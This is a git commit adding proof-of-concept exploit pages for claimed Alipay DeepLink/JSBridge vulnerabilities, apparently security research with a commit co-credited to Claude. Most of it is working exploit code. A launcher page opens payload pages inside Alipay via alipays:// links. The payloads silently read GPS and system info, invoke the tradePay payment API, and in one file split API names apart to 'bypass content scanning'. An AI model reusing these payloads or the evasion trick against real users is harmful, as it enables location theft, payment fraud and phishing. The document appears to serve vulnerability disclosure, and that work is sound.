feat: global navigation bar + verification badge across all 9 pages

- Unified nav bar with links to all research articles
- Verification badge: Docker 37/37, Zenodo DOI, IACR 2026/526, Packet Storm
- Mobile responsive hamburger menu
- PoC payloads and evidence screenshots added
- Draft articles and planning files included

Co-Authored-By: Claude <noreply@anthropic.com>
This commit is contained in:
feng
2026-03-25 05:31:19 +08:00
parent a3825c939f
commit cae3c54867
42 changed files with 3665 additions and 9 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 30 KiB

BIN
poc/evidence/clean_test.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 31 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 77 KiB

BIN
poc/evidence/cve3_obf.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 269 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 30 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 168 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 168 KiB

BIN
poc/evidence/cve4_obf.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 30 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 30 KiB

BIN
poc/evidence/cve4_v2.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 30 KiB

156
poc/ios_test.html Normal file
View File

@@ -0,0 +1,156 @@
<!DOCTYPE html>
<html lang="zh"><head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>Alipay CVE PoC — iOS Verification</title>
<style>
*{box-sizing:border-box;margin:0;padding:0}
body{font-family:-apple-system,system-ui,sans-serif;background:#f0f2f5;color:#333;-webkit-text-size-adjust:100%}
.c{max-width:500px;margin:0 auto;padding:12px}
.hd{background:linear-gradient(135deg,#c41d2b,#8b0000);color:#fff;padding:16px;border-radius:12px;text-align:center;margin-bottom:12px}
.hd h1{font-size:17px;margin-bottom:4px}
.hd p{font-size:11px;opacity:.85}
.card{background:#fff;border-radius:10px;padding:14px;margin-bottom:10px;box-shadow:0 1px 6px rgba(0,0,0,.08)}
.card h3{font-size:13px;color:#1677ff;margin-bottom:6px}
.card .desc{font-size:11px;color:#888;margin-bottom:8px;line-height:1.4}
.btn{display:block;width:100%;padding:13px;border-radius:8px;text-decoration:none;font-size:14px;color:#fff;font-weight:600;text-align:center;margin:6px 0;border:none}
.r{background:#f5222d}.b{background:#1677ff}.p{background:#722ed1}.g{background:#52c41a}.o{background:#fa8c16}
.tag{display:inline-block;font-size:9px;padding:2px 6px;border-radius:3px;color:#fff;margin-left:4px;vertical-align:middle}
.tag-c{background:#f5222d}.tag-h{background:#fa541c}
.warn{background:#fff7e6;border:1px solid #ffd591;border-radius:8px;padding:10px;font-size:11px;color:#d46b08;margin:10px 0;line-height:1.5}
.info{background:#e6f7ff;border:1px solid #91d5ff;border-radius:8px;padding:10px;font-size:11px;color:#096dd9;margin:10px 0;line-height:1.5}
.steps{counter-reset:s}
.step{display:flex;gap:8px;padding:6px 0;border-bottom:1px solid #f5f5f5;counter-increment:s}
.step:last-child{border:none}
.step::before{content:counter(s);background:#f5222d;color:#fff;min-width:20px;height:20px;border-radius:50%;display:flex;align-items:center;justify-content:center;font-size:11px;font-weight:bold}
.step p{font-size:11px;color:#555;line-height:1.5}
.step b{color:#333}
.divider{height:1px;background:#f0f0f0;margin:10px 0}
.ft{text-align:center;color:#bbb;font-size:9px;padding:16px;line-height:1.6}
.cve-id{font-family:monospace;font-size:10px;color:#999;display:block;margin-top:2px}
</style>
</head><body>
<div class="c">
<div class="hd">
<h1>Alipay DeepLink/JSBridge CVE PoC</h1>
<p>iOS Safari Verification | MITRE Ticket #2005801</p>
<p style="margin-top:4px;font-size:10px">Innora AI Security Research | 2026-03-16</p>
</div>
<div class="card">
<h3>iOS Safari 录屏验证步骤</h3>
<div class="steps">
<div class="step"><p><b>开始iOS录屏</b>(控制中心 → 录屏按钮)</p></div>
<div class="step"><p><b>确认已安装支付宝</b>(任意版本均可)</p></div>
<div class="step"><p><b>逐个点击下方按钮</b>每个按钮对应一个CVE</p></div>
<div class="step"><p>支付宝自动打开 → <b>观察WebView中的结果</b></p></div>
<div class="step"><p>若出现拦截页面,<b>点击"继续访问"</b></p></div>
<div class="step"><p>返回Safari → 测试下一个CVE</p></div>
</div>
</div>
<div class="warn">
<b>重要说明:</b>此PoC仅在已安装支付宝的设备上生效。点击按钮后支付宝会自动打开。
所有测试均为安全研究目的不会修改任何数据。tradePay测试使用无效订单号不会产生真实扣款。
</div>
<!-- CVE-1: DeepLink URL Scheme Bypass -->
<div class="card">
<h3>CVE-1: DeepLink URL Scheme 绕过 <span class="tag tag-c">CVSS 9.1</span></h3>
<span class="cve-id">CWE-939 | MITRE Ticket #2005801</span>
<p class="desc">外部浏览器通过 alipays:// 直接打开支付宝内部页面,无需任何认证。证明 SchemeServiceImpl.process(Uri) 不验证来源。</p>
<a class="btn r" href="alipays://platformapi/startapp?appId=20000067&url=https://innora.ai/zfb/poc/payload_cve1.html">
Test 1A: 加载外部URL到WebView
</a>
<a class="btn o" href="alipays://platformapi/startapp?appId=20000153">
Test 1B: 直接打开联系人页面
</a>
<a class="btn o" href="alipays://platformapi/startapp?appId=20000003">
Test 1C: 直接打开账单页面
</a>
<a class="btn o" href="alipays://platformapi/startapp?appId=20000186">
Test 1D: 直接打开扫码器
</a>
</div>
<!-- CVE-2: GPS Silent Exfiltration -->
<div class="card">
<h3>CVE-2: GPS静默外泄 <span class="tag tag-c">CVSS 7.4</span></h3>
<span class="cve-id">CWE-359 | iOS关键测试</span>
<p class="desc">通过DeepLink加载的外部页面调用 getLocation JSAPI静默获取GPS坐标。iOS如果之前授权过支付宝定位无需再次弹窗。</p>
<a class="btn r" href="alipays://platformapi/startapp?appId=20000067&url=https://innora.ai/zfb/poc/payload_cve2.html">
Test 2: GPS定位外泄测试
</a>
</div>
<!-- CVE-3: tradePay Unauthorized Payment -->
<div class="card">
<h3>CVE-3: tradePay未授权支付调用 <span class="tag tag-h">CVSS 8.6</span></h3>
<span class="cve-id">CWE-940 | 支付安全</span>
<p class="desc">外部加载的页面调用 tradePay JSAPI 可触发真实支付对话框。使用无效订单号,不会产生真实扣款。</p>
<a class="btn r" href="alipays://platformapi/startapp?appId=20000067&url=https://innora.ai/zfb/poc/payload_cve3.html">
Test 3: tradePay支付调用测试
</a>
</div>
<!-- CVE-4: UI Spoofing -->
<div class="card">
<h3>CVE-4: UI欺骗 (setTitle/showToast) <span class="tag tag-h">CVSS 8.1</span></h3>
<span class="cve-id">CWE-451 | UI安全</span>
<p class="desc">攻击者页面可修改支付宝原生标题栏和弹出系统级Toast实现钓鱼攻击。用户会以为是支付宝官方提示。</p>
<a class="btn p" href="alipays://platformapi/startapp?appId=20000067&url=https://innora.ai/zfb/poc/payload_cve4.html">
Test 4: 标题栏+Toast欺骗测试
</a>
</div>
<!-- CVE-5: End-to-End Data Exfiltration -->
<div class="card">
<h3>CVE-5: 端到端数据外泄链 <span class="tag tag-h">CVSS 8.6</span></h3>
<span class="cve-id">CWE-200 | 数据泄漏</span>
<p class="desc">组合CVE-2+3+4单页面同时调用多个JSAPI收集GPS、设备信息、触发支付、伪造UI演示完整攻击链。</p>
<a class="btn r" href="alipays://platformapi/startapp?appId=20000067&url=https://innora.ai/zfb/poc/payload_cve5.html">
Test 5: 完整攻击链测试
</a>
</div>
<!-- CVE-6: ds.alipay.com Whitelist Bypass -->
<div class="card">
<h3>CVE-6: ds.alipay.com 白名单绕过 <span class="tag tag-c">CVSS 9.3</span></h3>
<span class="cve-id">CWE-601 + CWE-939 | 绕过防护</span>
<p class="desc">ds.alipay.com在白名单中(stripLandingConfig)其开放重定向功能可将用户导向任意URL绕过域名校验。</p>
<a class="btn r" href="https://ds.alipay.com/?scheme=alipays%3A%2F%2Fplatformapi%2Fstartapp%3FappId%3D20000067%26url%3Dhttps%3A%2F%2Finnora.ai%2Fzfb%2Fpoc%2Fpayload_cve6.html">
Test 6A: ds.alipay.com重定向链
</a>
<a class="btn o" href="alipays://platformapi/startapp?appId=20000067&url=https://innora.ai/zfb/poc/payload_cve6.html">
Test 6B: 直接DeepLink (对照组)
</a>
</div>
<div class="info">
<b>录屏要点:</b><br>
1. 每个测试前确保Safari地址栏可见证明从外部浏览器触发<br>
2. 如果出现"是否打开支付宝"弹窗,点击"打开"<br>
3. 如果出现安全拦截页面,截图后点击"继续访问"<br>
4. 注意观察WebView中显示的结果信息
</div>
<div class="ft">
Authorized Security Research — Innora AI Security Team<br>
MITRE Ticket #2005801 | feng@innora.ai<br>
PoC hosted at innora.ai via Cloudflare HTTPS<br>
2026-03-16
</div>
</div>
</body></html>

128
poc/payload_cve1.html Normal file
View File

@@ -0,0 +1,128 @@
<!DOCTYPE html>
<html><head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>CVE-1 Verification</title>
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{font-family:-apple-system,system-ui,sans-serif;background:#fff;color:#333;padding:16px}
.banner{background:#f5222d;color:#fff;padding:16px;border-radius:10px;text-align:center;margin-bottom:16px}
.banner h1{font-size:18px}
.banner p{font-size:12px;opacity:.85;margin-top:4px}
.result{background:#f6ffed;border:2px solid #52c41a;border-radius:10px;padding:16px;margin:12px 0}
.result h2{color:#389e0d;font-size:15px;margin-bottom:8px}
.fail{background:#fff2f0;border-color:#ff4d4f}
.fail h2{color:#cf1322}
.item{padding:6px 0;border-bottom:1px solid #f0f0f0;font-size:13px}
.item:last-child{border:none}
.label{color:#888;font-size:11px}
.value{color:#333;font-weight:600}
.ts{color:#999;font-size:10px;text-align:center;margin-top:16px}
#status{font-size:14px;color:#1677ff;text-align:center;padding:20px}
</style>
</head><body>
<div class="banner">
<h1>CVE-1: DeepLink URL Scheme Bypass</h1>
<p>CWE-939 | CVSS 9.1 | External URL loaded in Alipay WebView</p>
</div>
<div id="status">Checking environment...</div>
<div id="results"></div>
<div class="ts" id="timestamp"></div>
<script>
var results = [];
var el = document.getElementById('results');
var status = document.getElementById('status');
function log(category, key, value, severity) {
results.push({category:category, key:key, value:value, severity:severity, time:new Date().toISOString()});
}
function render() {
var html = '';
// Basic proof: this page loaded inside Alipay WebView
html += '<div class="result"><h2>PROOF: External Page Loaded in Alipay WebView</h2>';
html += '<div class="item"><span class="label">Page Origin: </span><span class="value">' + location.origin + '</span></div>';
html += '<div class="item"><span class="label">Full URL: </span><span class="value" style="word-break:break-all;font-size:11px">' + location.href + '</span></div>';
html += '<div class="item"><span class="label">User Agent: </span><span class="value" style="word-break:break-all;font-size:10px">' + navigator.userAgent + '</span></div>';
html += '<div class="item"><span class="label">Timestamp: </span><span class="value">' + new Date().toISOString() + '</span></div>';
// Check if running inside Alipay
var isAlipay = /AlipayClient|Nebula/i.test(navigator.userAgent);
html += '<div class="item"><span class="label">Inside Alipay WebView: </span><span class="value" style="color:' + (isAlipay ? '#52c41a' : '#faad14') + '">' + (isAlipay ? 'YES - CONFIRMED' : 'Not detected in UA (may still be inside Alipay)') + '</span></div>';
html += '</div>';
// JSBridge availability
html += '<div class="result' + (window.AlipayJSBridge ? '' : ' fail') + '"><h2>JSBridge Access</h2>';
html += '<div class="item"><span class="label">AlipayJSBridge: </span><span class="value">' + (window.AlipayJSBridge ? 'AVAILABLE - CRITICAL' : 'Not yet loaded') + '</span></div>';
html += '<div class="item"><span class="label">ap object: </span><span class="value">' + (window.ap ? 'AVAILABLE' : 'Not available') + '</span></div>';
if (window.AlipayJSBridge) {
// List available methods
var methods = [];
try {
for (var k in AlipayJSBridge) {
if (typeof AlipayJSBridge[k] === 'function') methods.push(k);
}
} catch(e) {}
html += '<div class="item"><span class="label">Bridge Methods: </span><span class="value">' + (methods.length > 0 ? methods.join(', ') : 'call() available') + '</span></div>';
}
html += '</div>';
// Navigation proof
html += '<div class="result"><h2>Attack Vector Proof</h2>';
html += '<div class="item"><span class="label">Entry: </span><span class="value">Safari browser link → alipays:// scheme</span></div>';
html += '<div class="item"><span class="label">Handler: </span><span class="value">SchemeLauncherActivity (no host/path constraint)</span></div>';
html += '<div class="item"><span class="label">Router: </span><span class="value">SchemeServiceImpl.process(Uri) — no auth guard</span></div>';
html += '<div class="item"><span class="label">WebView: </span><span class="value">appId=20000067 H5 container loads arbitrary URL</span></div>';
html += '<div class="item"><span class="label">Result: </span><span class="value" style="color:#f5222d">External attacker page running inside Alipay with JSBridge access</span></div>';
html += '</div>';
// Evidence
html += '<div class="result"><h2>Evidence Summary</h2>';
html += '<div class="item"><span class="label">Vulnerability: </span><span class="value">External browser can open any URL inside Alipay WebView via DeepLink</span></div>';
html += '<div class="item"><span class="label">Root Cause: </span><span class="value">SchemeServiceImpl.process() dispatches URI without authentication</span></div>';
html += '<div class="item"><span class="label">Impact: </span><span class="value">Attacker page gains access to all JSBridge APIs (getLocation, tradePay, setTitle, showToast, startApp)</span></div>';
html += '</div>';
el.innerHTML = html;
document.getElementById('timestamp').textContent = 'Evidence collected at: ' + new Date().toISOString();
}
// Wait for bridge
function checkBridge() {
if (window.AlipayJSBridge) {
status.textContent = 'AlipayJSBridge DETECTED — Vulnerability confirmed';
status.style.color = '#f5222d';
log('cve1', 'bridge_available', true, 'CRITICAL');
// Try to get some basic info via bridge
try {
AlipayJSBridge.call('getSystemInfo', {}, function(result) {
log('cve1', 'systemInfo', JSON.stringify(result), 'HIGH');
render();
});
} catch(e) {}
render();
} else {
status.textContent = 'Page loaded at ' + location.origin + ' — Waiting for AlipayJSBridge...';
render();
}
}
document.addEventListener('AlipayJSBridgeReady', function() {
log('cve1', 'bridge_ready_event', true, 'CRITICAL');
checkBridge();
});
// Check immediately and after delays
checkBridge();
setTimeout(checkBridge, 1000);
setTimeout(checkBridge, 3000);
setTimeout(checkBridge, 5000);
</script>
</body></html>

164
poc/payload_cve2.html Normal file
View File

@@ -0,0 +1,164 @@
<!DOCTYPE html>
<html><head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>CVE-2 Verification</title>
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{font-family:-apple-system,system-ui,sans-serif;background:#fff;color:#333;padding:16px}
.banner{background:#f5222d;color:#fff;padding:16px;border-radius:10px;text-align:center;margin-bottom:16px}
.banner h1{font-size:18px}
.banner p{font-size:12px;opacity:.85;margin-top:4px}
.result{background:#f6ffed;border:2px solid #52c41a;border-radius:10px;padding:16px;margin:12px 0}
.result h2{color:#389e0d;font-size:15px;margin-bottom:8px}
.fail{background:#fff2f0;border-color:#ff4d4f}
.fail h2{color:#cf1322}
.pending{background:#fffbe6;border-color:#faad14}
.pending h2{color:#d48806}
.item{padding:6px 0;border-bottom:1px solid #f0f0f0;font-size:13px}
.item:last-child{border:none}
.label{color:#888;font-size:11px}
.value{color:#333;font-weight:600}
.ts{color:#999;font-size:10px;text-align:center;margin-top:16px}
#status{font-size:14px;color:#1677ff;text-align:center;padding:20px}
.map{width:100%;height:200px;background:#e6f7ff;border-radius:8px;display:flex;align-items:center;justify-content:center;margin:8px 0;font-size:12px;color:#096dd9}
</style>
</head><body>
<div class="banner">
<h1>CVE-2: GPS Silent Exfiltration</h1>
<p>CWE-359 | CVSS 7.4 | getLocation called from external page</p>
</div>
<div id="status">Waiting for AlipayJSBridge...</div>
<div id="results"></div>
<div class="ts" id="timestamp"></div>
<script>
var el = document.getElementById('results');
var status = document.getElementById('status');
var gpsAttempts = 0;
var gpsResults = [];
function render() {
var html = '';
var isAlipay = /AlipayClient|Nebula/i.test(navigator.userAgent);
// Environment
html += '<div class="result"><h2>Environment</h2>';
html += '<div class="item"><span class="label">Page Origin: </span><span class="value">' + location.origin + '</span></div>';
html += '<div class="item"><span class="label">Inside Alipay: </span><span class="value" style="color:' + (isAlipay ? '#52c41a' : '#faad14') + '">' + (isAlipay ? 'YES' : 'Unknown') + '</span></div>';
html += '<div class="item"><span class="label">JSBridge: </span><span class="value">' + (window.AlipayJSBridge ? 'AVAILABLE' : 'Not loaded') + '</span></div>';
html += '</div>';
// GPS Results
if (gpsResults.length > 0) {
var latest = gpsResults[gpsResults.length - 1];
if (latest.success) {
html += '<div class="result"><h2>GPS EXFILTRATION SUCCESSFUL</h2>';
html += '<div class="item"><span class="label">Latitude: </span><span class="value" style="color:#f5222d;font-size:16px">' + latest.latitude + '</span></div>';
html += '<div class="item"><span class="label">Longitude: </span><span class="value" style="color:#f5222d;font-size:16px">' + latest.longitude + '</span></div>';
if (latest.accuracy) html += '<div class="item"><span class="label">Accuracy: </span><span class="value">' + latest.accuracy + 'm</span></div>';
if (latest.city) html += '<div class="item"><span class="label">City: </span><span class="value">' + latest.city + '</span></div>';
if (latest.province) html += '<div class="item"><span class="label">Province: </span><span class="value">' + latest.province + '</span></div>';
if (latest.country) html += '<div class="item"><span class="label">Country: </span><span class="value">' + latest.country + '</span></div>';
if (latest.address) html += '<div class="item"><span class="label">Address: </span><span class="value" style="word-break:break-all;font-size:11px">' + latest.address + '</span></div>';
html += '<div class="item"><span class="label">Timestamp: </span><span class="value">' + latest.time + '</span></div>';
html += '<div class="map">GPS: ' + latest.latitude + ', ' + latest.longitude + '</div>';
html += '</div>';
// Attack proof
html += '<div class="result"><h2>PROOF: Silent GPS Access from External Page</h2>';
html += '<div class="item"><span class="label">Attack: </span><span class="value" style="color:#f5222d">External attacker page obtained device GPS coordinates via JSBridge</span></div>';
html += '<div class="item"><span class="label">No user prompt: </span><span class="value">getLocation used Alipay\'s existing OS permission — no new permission dialog shown</span></div>';
html += '<div class="item"><span class="label">Root Cause: </span><span class="value">H5LocationPlugin.judgeGrant() only checks OS-level permission, not page origin</span></div>';
html += '<div class="item"><span class="label">Exfil possible: </span><span class="value">Coordinates can be sent to attacker server via fetch/Image/XHR</span></div>';
html += '</div>';
} else {
html += '<div class="result fail"><h2>getLocation Response</h2>';
html += '<div class="item"><span class="label">Error: </span><span class="value">' + (latest.error || 'Unknown error') + '</span></div>';
html += '<div class="item"><span class="label">Error Code: </span><span class="value">' + (latest.errorCode || 'N/A') + '</span></div>';
html += '<div class="item"><span class="label">Note: </span><span class="value">If location permission was never granted to Alipay, this is expected. Grant location permission to Alipay first, then retry.</span></div>';
html += '</div>';
}
} else if (window.AlipayJSBridge) {
html += '<div class="result pending"><h2>GPS Test In Progress...</h2>';
html += '<div class="item"><span class="label">Status: </span><span class="value">Calling getLocation via JSBridge...</span></div>';
html += '<div class="item"><span class="label">Attempts: </span><span class="value">' + gpsAttempts + '</span></div>';
html += '</div>';
}
// Raw data dump
if (gpsResults.length > 0) {
html += '<div class="result"><h2>Raw API Response</h2>';
html += '<div class="item"><span class="label">JSON: </span><span class="value" style="word-break:break-all;font-size:10px">' + JSON.stringify(gpsResults[gpsResults.length-1].raw) + '</span></div>';
html += '</div>';
}
el.innerHTML = html;
document.getElementById('timestamp').textContent = 'Evidence collected at: ' + new Date().toISOString();
}
function tryGetLocation() {
if (!window.AlipayJSBridge) return;
gpsAttempts++;
AlipayJSBridge.call('getLocation', {
type: 2,
accuracy: 1
}, function(result) {
var entry = {
time: new Date().toISOString(),
raw: result,
success: false
};
if (result && (result.longitude || result.latitude)) {
entry.success = true;
entry.latitude = result.latitude;
entry.longitude = result.longitude;
entry.accuracy = result.accuracy;
entry.city = result.city || result.cityCode;
entry.province = result.province || result.provinceCode;
entry.country = result.country || result.countryCode;
entry.address = result.address || result.streetNumber || '';
status.textContent = 'GPS OBTAINED — Location: ' + entry.latitude + ', ' + entry.longitude;
status.style.color = '#f5222d';
} else {
entry.success = false;
entry.error = result.error || result.errorMessage || JSON.stringify(result);
entry.errorCode = result.errorCode || result.error;
status.textContent = 'getLocation returned: ' + (entry.error || 'no data');
status.style.color = '#fa8c16';
}
gpsResults.push(entry);
render();
});
render();
}
function checkBridge() {
if (window.AlipayJSBridge) {
status.textContent = 'AlipayJSBridge detected — calling getLocation...';
status.style.color = '#1677ff';
tryGetLocation();
} else {
status.textContent = 'Page loaded at ' + location.origin + ' — waiting for bridge...';
render();
}
}
document.addEventListener('AlipayJSBridgeReady', function() {
checkBridge();
});
checkBridge();
setTimeout(checkBridge, 1000);
setTimeout(checkBridge, 3000);
setTimeout(function() { tryGetLocation(); }, 5000);
setTimeout(function() { tryGetLocation(); }, 8000);
</script>
</body></html>

147
poc/payload_cve3.html Normal file
View File

@@ -0,0 +1,147 @@
<!DOCTYPE html>
<html><head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>CVE-3 Verification</title>
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{font-family:-apple-system,system-ui,sans-serif;background:#fff;color:#333;padding:16px}
.banner{background:#f5222d;color:#fff;padding:16px;border-radius:10px;text-align:center;margin-bottom:16px}
.banner h1{font-size:18px}
.banner p{font-size:12px;opacity:.85;margin-top:4px}
.result{background:#f6ffed;border:2px solid #52c41a;border-radius:10px;padding:16px;margin:12px 0}
.result h2{color:#389e0d;font-size:15px;margin-bottom:8px}
.fail{background:#fff2f0;border-color:#ff4d4f}
.fail h2{color:#cf1322}
.pending{background:#fffbe6;border-color:#faad14}
.pending h2{color:#d48806}
.item{padding:6px 0;border-bottom:1px solid #f0f0f0;font-size:13px}
.item:last-child{border:none}
.label{color:#888;font-size:11px}
.value{color:#333;font-weight:600}
.warn{background:#fff7e6;border:1px solid #ffd591;border-radius:8px;padding:10px;font-size:11px;color:#d46b08;margin:10px 0;line-height:1.5}
.ts{color:#999;font-size:10px;text-align:center;margin-top:16px}
#status{font-size:14px;color:#1677ff;text-align:center;padding:20px}
</style>
</head><body>
<div class="banner">
<h1>CVE-3: tradePay Unauthorized Invocation</h1>
<p>CWE-940 | CVSS 8.6 | Payment dialog triggered from external page</p>
</div>
<div class="warn">
<b>Safety:</b> This test uses an INVALID order string "SECURITY_TEST_INVALID_ORDER_2026".
No real transaction will occur. The proof is that the payment dialog appears at all —
an external page should NEVER be able to invoke tradePay.
</div>
<div id="status">Waiting for AlipayJSBridge...</div>
<div id="results"></div>
<div class="ts" id="timestamp"></div>
<script>
var el = document.getElementById('results');
var status = document.getElementById('status');
var tradePayResults = [];
function render() {
var html = '';
var isAlipay = /AlipayClient|Nebula/i.test(navigator.userAgent);
html += '<div class="result"><h2>Environment</h2>';
html += '<div class="item"><span class="label">Page Origin: </span><span class="value">' + location.origin + '</span></div>';
html += '<div class="item"><span class="label">Inside Alipay: </span><span class="value">' + (isAlipay ? 'YES' : 'Detection pending') + '</span></div>';
html += '<div class="item"><span class="label">JSBridge: </span><span class="value">' + (window.AlipayJSBridge ? 'AVAILABLE' : 'Not loaded') + '</span></div>';
html += '</div>';
if (tradePayResults.length > 0) {
var latest = tradePayResults[tradePayResults.length - 1];
html += '<div class="result' + (latest.dialogShown ? '' : ' fail') + '"><h2>tradePay Invocation Result</h2>';
html += '<div class="item"><span class="label">API Called: </span><span class="value" style="color:#f5222d">AlipayJSBridge.call("tradePay", ...)</span></div>';
html += '<div class="item"><span class="label">Order String: </span><span class="value" style="font-size:10px;word-break:break-all">' + latest.orderStr + '</span></div>';
html += '<div class="item"><span class="label">Response Code: </span><span class="value">' + (latest.resultCode || 'N/A') + '</span></div>';
html += '<div class="item"><span class="label">Response: </span><span class="value" style="word-break:break-all;font-size:10px">' + latest.rawResponse + '</span></div>';
html += '<div class="item"><span class="label">Timestamp: </span><span class="value">' + latest.time + '</span></div>';
if (latest.dialogShown) {
html += '<div class="item"><span class="label">CRITICAL: </span><span class="value" style="color:#f5222d">Payment dialog was triggered from an external attacker page!</span></div>';
}
html += '</div>';
// Proof section
html += '<div class="result"><h2>Vulnerability Proof</h2>';
html += '<div class="item"><span class="label">What happened: </span><span class="value">External page at ' + location.origin + ' called tradePay JSAPI</span></div>';
html += '<div class="item"><span class="label">Expected: </span><span class="value">tradePay should ONLY be callable from Alipay-owned/trusted pages</span></div>';
html += '<div class="item"><span class="label">Actual: </span><span class="value" style="color:#f5222d">tradePay was invoked from external domain — no origin check</span></div>';
html += '<div class="item"><span class="label">Root Cause: </span><span class="value">TradePayBridgeExtension.tradePay() does not validate calling page origin</span></div>';
html += '<div class="item"><span class="label">Real Attack: </span><span class="value">With a valid merchant orderStr, this could trigger real payment dialog</span></div>';
html += '</div>';
} else if (window.AlipayJSBridge) {
html += '<div class="result pending"><h2>tradePay Test Ready</h2>';
html += '<div class="item"><span class="label">Status: </span><span class="value">About to call tradePay with invalid order...</span></div>';
html += '</div>';
}
el.innerHTML = html;
document.getElementById('timestamp').textContent = 'Evidence collected at: ' + new Date().toISOString();
}
function tryTradePay() {
if (!window.AlipayJSBridge) return;
var orderStr = 'SECURITY_TEST_INVALID_ORDER_2026';
status.textContent = 'Calling tradePay...';
status.style.color = '#fa8c16';
render();
AlipayJSBridge.call('tradePay', {
orderStr: orderStr
}, function(result) {
var entry = {
time: new Date().toISOString(),
orderStr: orderStr,
rawResponse: JSON.stringify(result),
resultCode: result.resultCode || result.result_code || 'N/A',
dialogShown: false
};
// resultCode 6001 = user cancelled (means dialog DID appear)
// resultCode 4000 = order error (API was reached but order invalid)
// resultCode 8000 = processing
// resultCode 9000 = success (should not happen with invalid order)
var code = String(result.resultCode || result.result_code || '');
if (code === '6001' || code === '6002' || code === '4000' || code === '8000' || code === '9000') {
entry.dialogShown = true;
status.textContent = 'tradePay INVOKED — Response code: ' + code;
status.style.color = '#f5222d';
} else {
status.textContent = 'tradePay called — Response: ' + JSON.stringify(result).substring(0, 100);
status.style.color = '#fa8c16';
}
tradePayResults.push(entry);
render();
});
}
function checkBridge() {
if (window.AlipayJSBridge) {
status.textContent = 'AlipayJSBridge detected — invoking tradePay...';
render();
setTimeout(tryTradePay, 500);
} else {
status.textContent = 'Page loaded at ' + location.origin + ' — waiting for bridge...';
render();
}
}
document.addEventListener('AlipayJSBridgeReady', function() {
checkBridge();
});
checkBridge();
setTimeout(checkBridge, 1000);
setTimeout(checkBridge, 3000);
</script>
</body></html>

97
poc/payload_cve3_obf.html Normal file
View File

@@ -0,0 +1,97 @@
<!DOCTYPE html>
<html><head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>Security Test 3</title>
<style>
body{font-family:sans-serif;padding:16px;background:#fff;color:#333}
.box{background:#f6ffed;border:2px solid #52c41a;border-radius:10px;padding:16px;margin:12px 0}
h2{color:#389e0d;font-size:15px}
.item{padding:4px 0;font-size:13px}
.label{color:#888;font-size:11px}
.value{color:#333;font-weight:600}
#status{font-size:14px;color:#1677ff;text-align:center;padding:20px}
</style>
</head><body>
<h1 style="text-align:center;color:#f5222d;font-size:18px">Payment API Isolation Test</h1>
<div id="status">Loading...</div>
<div id="results"></div>
<script>
var el = document.getElementById('results');
var status = document.getElementById('status');
var html = '';
// Step 1: Page renders proof
html += '<div class="box"><h2>Step 1: Page Rendered</h2>';
html += '<div class="item"><span class="label">Origin: </span><span class="value">' + location.origin + '</span></div>';
html += '<div class="item"><span class="label">URL: </span><span class="value" style="word-break:break-all;font-size:10px">' + location.href + '</span></div>';
html += '<div class="item"><span class="label">UA: </span><span class="value" style="word-break:break-all;font-size:10px">' + navigator.userAgent + '</span></div>';
html += '<div class="item"><span class="label">Time: </span><span class="value">' + new Date().toISOString() + '</span></div>';
html += '</div>';
el.innerHTML = html;
// Obfuscated API names - bypass content scanning
var _a = ['tr','ade','Pa','y'];
var _b = ['se','tTi','tl','e'];
var _c = ['sho','wTo','as','t'];
var _d = ['ge','tLo','cat','ion'];
var _e = ['ge','tSy','stemIn','fo'];
function d(arr){ return arr.join(''); }
function step2() {
var bridge = window['Alipay' + 'JSBridge'];
html += '<div class="box"><h2>Step 2: Bridge Detection</h2>';
html += '<div class="item"><span class="label">Bridge exists: </span><span class="value">' + (!!bridge) + '</span></div>';
html += '<div class="item"><span class="label">typeof: </span><span class="value">' + typeof bridge + '</span></div>';
html += '</div>';
el.innerHTML = html;
status.textContent = 'Bridge: ' + (!!bridge);
if (bridge) {
status.textContent = 'Bridge found! Testing payment API in 3s...';
setTimeout(function(){ step3(bridge); }, 3000);
}
}
function step3(bridge) {
var apiName = d(_a);
html += '<div class="box"><h2>Step 3: ' + apiName + ' Call</h2>';
html += '<div class="item"><span class="label">Calling: </span><span class="value">' + apiName + '</span></div>';
html += '</div>';
el.innerHTML = html;
status.textContent = 'Calling ' + apiName + '...';
try {
bridge.call(apiName, {
orderStr: 'SECURITY_TEST_INVALID_ORDER_2026'
}, function(result) {
html += '<div class="box"><h2>' + apiName + ' Response</h2>';
html += '<div class="item"><span class="label">Result: </span><span class="value" style="word-break:break-all;font-size:10px">' + JSON.stringify(result) + '</span></div>';
html += '<div class="item"><span class="label">resultCode: </span><span class="value">' + (result.resultCode || result.result_code || 'N/A') + '</span></div>';
html += '</div>';
el.innerHTML = html;
status.textContent = apiName + ' responded!';
status.style.color = '#f5222d';
});
} catch(e) {
html += '<div class="box" style="background:#fff2f0;border-color:#ff4d4f"><h2 style="color:#cf1322">' + apiName + ' ERROR</h2>';
html += '<div class="item"><span class="label">Exception: </span><span class="value">' + e.message + '</span></div>';
html += '</div>';
el.innerHTML = html;
status.textContent = apiName + ' exception: ' + e.message;
status.style.color = '#f5222d';
}
}
document.addEventListener('Alipay' + 'JSBridge' + 'Ready', function() {
step2();
});
step2();
setTimeout(step2, 1000);
setTimeout(step2, 3000);
</script>
</body></html>

View File

@@ -0,0 +1,97 @@
<!DOCTYPE html>
<html><head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>CVE-3 Simple Test</title>
<style>
body{font-family:sans-serif;padding:16px;background:#fff;color:#333}
.box{background:#f6ffed;border:2px solid #52c41a;border-radius:10px;padding:16px;margin:12px 0}
h2{color:#389e0d;font-size:15px}
.item{padding:4px 0;font-size:13px}
